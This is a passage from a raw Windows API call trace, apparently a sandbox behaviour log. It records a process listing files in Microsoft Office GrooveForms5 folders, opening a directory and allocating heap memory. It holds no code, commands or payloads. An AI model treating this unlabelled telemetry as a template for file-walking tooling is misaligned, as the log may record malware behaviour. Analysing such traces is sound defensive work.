ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5690, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_GreenTea.gif", cAlternateFileName="")) returned 1 [0069.492] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.492] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.492] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.492] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.492] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.492] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102e918 [0069.492] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1064928 [0069.492] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.492] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Groove.gif", cAlternateFileName="")) returned 1 [0069.492] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.492] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.492] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.492] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102e938 [0069.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1064a30 [0069.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x3a80) returned 0x106dbc0 [0069.493] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ca28) returned 1 [0069.493] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.493] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x21a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_LightSpirit.gif", cAlternateFileName="")) returned 1 [0069.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.493] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.493] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102e958 [0069.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1064b38 [0069.493] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.493] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3d57, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_OliveGreen.gif", cAlternateFileName="")) returned 1 [0069.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.493] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.494] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102e978 [0069.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1064c40 [0069.494] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.494] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1845, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Premium.gif", cAlternateFileName="")) returned 1 [0069.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.494] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.494] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102e998 [0069.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1064d48 [0069.494] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.494] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5141, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_SlateBlue.gif", cAlternateFileName="")) returned 1 [0069.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.494] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.495] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.495] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.495] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102e9b8 [0069.495] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1064e50 [0069.495] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.495] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x193c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_TexturedBlue.gif", cAlternateFileName="")) returned 1 [0069.495] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.495] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.495] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.495] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.495] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.495] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102e9d8 [0069.495] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1064f58 [0069.495] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.495] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_VelvetRose.gif", cAlternateFileName="")) returned 1 [0069.495] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.496] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.496] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.496] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.496] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.496] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102e9f8 [0069.496] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1065060 [0069.496] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.496] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsStyles", cAlternateFileName="")) returned 1 [0069.496] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsStyles", cAlternateFileName="")) returned 0 [0069.496] GetLastError () returned 0x12 [0069.496] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0069.496] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.496] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd443cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.496] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5373f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc5373f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x614e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BG_ADOBE.GIF", cAlternateFileName="")) returned 1 [0069.496] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5373f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd41db50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc5373f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x161d, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Casual.gif", cAlternateFileName="")) returned 1 [0069.496] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd41db50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7dd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Country.gif", cAlternateFileName="")) returned 1 [0069.496] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd41db50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x132a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Earthy.gif", cAlternateFileName="")) returned 1 [0069.496] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd41db50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5690, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_GreenTea.gif", cAlternateFileName="")) returned 1 [0069.496] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Groove.gif", cAlternateFileName="")) returned 1 [0069.496] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x21a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_LightSpirit.gif", cAlternateFileName="")) returned 1 [0069.496] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3d57, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_OliveGreen.gif", cAlternateFileName="")) returned 1 [0069.497] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1845, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Premium.gif", cAlternateFileName="")) returned 1 [0069.497] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5141, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_SlateBlue.gif", cAlternateFileName="")) returned 1 [0069.497] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x193c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_TexturedBlue.gif", cAlternateFileName="")) returned 1 [0069.497] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_VelvetRose.gif", cAlternateFileName="")) returned 1 [0069.497] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsStyles", cAlternateFileName="")) returned 1 [0069.497] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1065168 [0069.497] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0069.516] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0069.516] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x103ca28 [0069.516] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x103ca28, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x103ca28, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0069.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ca28) returned 1 [0069.517] NtClose (Handle=0x18c) returned 0x0 [0069.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1065168) returned 1 [0069.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1065168 [0069.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1065270 [0069.517] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d160 [0069.518] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.519] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x75c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.css", cAlternateFileName="")) returned 1 [0069.519] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.519] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.519] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.519] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.519] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.519] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1065378 [0069.519] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.519] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102ea18 [0069.520] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1065480 [0069.520] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.520] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4b60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Americana", cAlternateFileName="")) returned 1 [0069.520] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="Americana.css", cAlternateFileName="")) returned 1 [0069.520] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.520] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.520] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.520] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.520] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.520] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102ea38 [0069.520] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1065588 [0069.520] RtlFreeHeap (HeapHandle=0xf70000, 